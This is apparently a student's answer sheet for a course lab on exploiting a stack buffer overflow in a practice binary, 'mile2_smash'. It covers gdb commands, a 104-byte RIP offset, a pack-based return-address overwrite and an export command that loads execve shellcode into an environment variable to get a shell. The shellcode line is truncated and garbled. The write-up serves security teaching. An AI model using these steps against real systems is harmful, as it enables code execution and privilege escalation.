Lab 10 – Stack Overflow, Did we get the root?  
CIS 450  
Krutarth Panchal

### Option 1: Answer the questions in Section 1,2 and 3

Section 1 – Exploiting Research

1. What are the components of our python script to create in.txt?
   1. Interpreter Line: #!/usr/bin/env python
   2. Buffer Line1: buf= “”
   3. Buffer Line2: buf+= “A”\*400
   4. File Variable Line1: f=open(“in.txt”,”w”)
   5. File Variable Line2: f.write(buf)
   6. File Variable Line3: f.close()
2. What is the expected output for in.txt?
   1. 400 bytes of the letter “A”
3. What command will start mile2\_smash in gdb?
   1. gdb ./mile2\_smash
4. What command in gdb can be run to start the program and feed it in.txt?
   1. run < in.txt
5. What command in gdb will create a pattern of 400 bytes and write it to in.txt?
   1. pattern\_create 400 in.txt

Section 2 – Finding the RIP Offset and Throwing updated in.txt

1. What is the offset of the RIP?
   1. The RIP’s offset is of 104 bytes.
2. What lines are updated in our proof of concept code?
   1. Change line: A \* 400 to A\*104
   2. b. Add new line: pack(“<Q”, 0x424242424242)
   3. c. Change last line to: “C” \* 290
3. What is located in RIP when we throw our updated proof of concept?
   1. The RIP register contains 6 bytes of the letter “B”, indicating that the offset of 104 bytes is correct, and that an attacker successfully manipulated the RIP register to contain an address of their own choosing.

Section 3 – Setting our ENV (getenvaddr) and getting a shell

1. What command do you run to create the PWN environment variable for our exploit?

a*.#export PWN=`python -c ‘print “\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x99\x52\x57\x54\x5e\xb0\x3b\x0f*

1. What program can you use to get the memory address of our newly created environment variable?
   1. ./getenvaddr PWN ./mile2\_smash
2. What is the last update to the buf += pack(“<Q”, 0x4242424242424242) line in

your proof of concept?

* 1. buf+= pack(“<Q”, 0x7fffffffed0b); the memory address of where the environment variable PWN is stored.

----------------------------------------- End of Lab(Option1)---------------------------------------------